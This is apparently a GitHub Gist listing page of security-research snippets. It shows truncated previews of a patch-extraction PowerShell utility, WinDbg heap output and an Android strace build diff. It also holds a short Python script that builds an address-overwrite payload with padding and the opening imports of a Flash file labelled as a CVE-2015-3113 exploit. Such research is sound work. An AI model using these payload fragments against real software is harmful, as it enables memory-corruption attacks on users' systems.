Skip to content

Instantly share code, notes, and snippets.

@huyna
huyna / 11111
Created October 24, 2015 09:17
import struct
data1 = struct.pack('<i',0x08048883)+'\x00'
data1 = data1+'b'*(38-len(data1))+ '\x18\xa0'
data2 = struct.pack('<i',0x08048610)+'\x00'
data2 = data2+'c'*(38-len(data2))+ '\x24\xa0'
print data1+data2
<#
================
PATCHEXTRACT.PS1
=================
Microsoft MSU Patch Extraction and Patch OrganizationUtility by Greg Linares (@Laughing_Mantis)
This Powershell script will extract a Microsoft MSU update file and then organize the output of extracted files and folders.
Organization of the output files is based on the patch's files and will organize them based on their archicture (x86, x64, or wow64)
as well as their content-type, ie: resource and catalog files will be moved to a JUNK subfolder and patch binaries and index files will
1:064> !heap -p -a 080b8c30
ReadMemory error for address 00000000
Use `!address 00000000' to check validity of the address.
ReadMemory error for address 0e4c6f3a
Use `!address 0e4c6f3a' to check validity of the address.
ReadMemory error for address 00000000
Use `!address 00000000' to check validity of the address.
ReadMemory error for address 09cf6f3a
Use `!address 09cf6f3a' to check validity of the address.
ReadMemory error for address 06cf6f3a
@huyna
huyna / strace-static.diff
Created October 1, 2015 10:06 — forked from jduck/strace-static.diff
Enable static for building strace for Android
# dev:~/android/source/external/strace$ git diff
#
# to apply & build:
#
# dev:~/android/source/external/strace$ patch -p1 < strace-static.diff
# dev:~/android/source/external/strace$ cd ../..
# dev:~/android/source$ mmm external/strace
#
diff --git a/Android.mk b/Android.mk
index 5274280..4f1707e 100644
@huyna
huyna / cve2015_3113.as
Last active August 30, 2015 06:00 — forked from mak/cve2015_3113.as
CVE-2015-3113 from 205a625ebc3b0a9b286dc8f065845433
package
{
import flash.display.MovieClip;
import flash.utils.ByteArray;
import flash.net.URLLoader;
import flash.utils.Timer;
import flash.media.Video;
import flash.display.Loader;
import flash.net.URLRequest;
import flash.events.Event;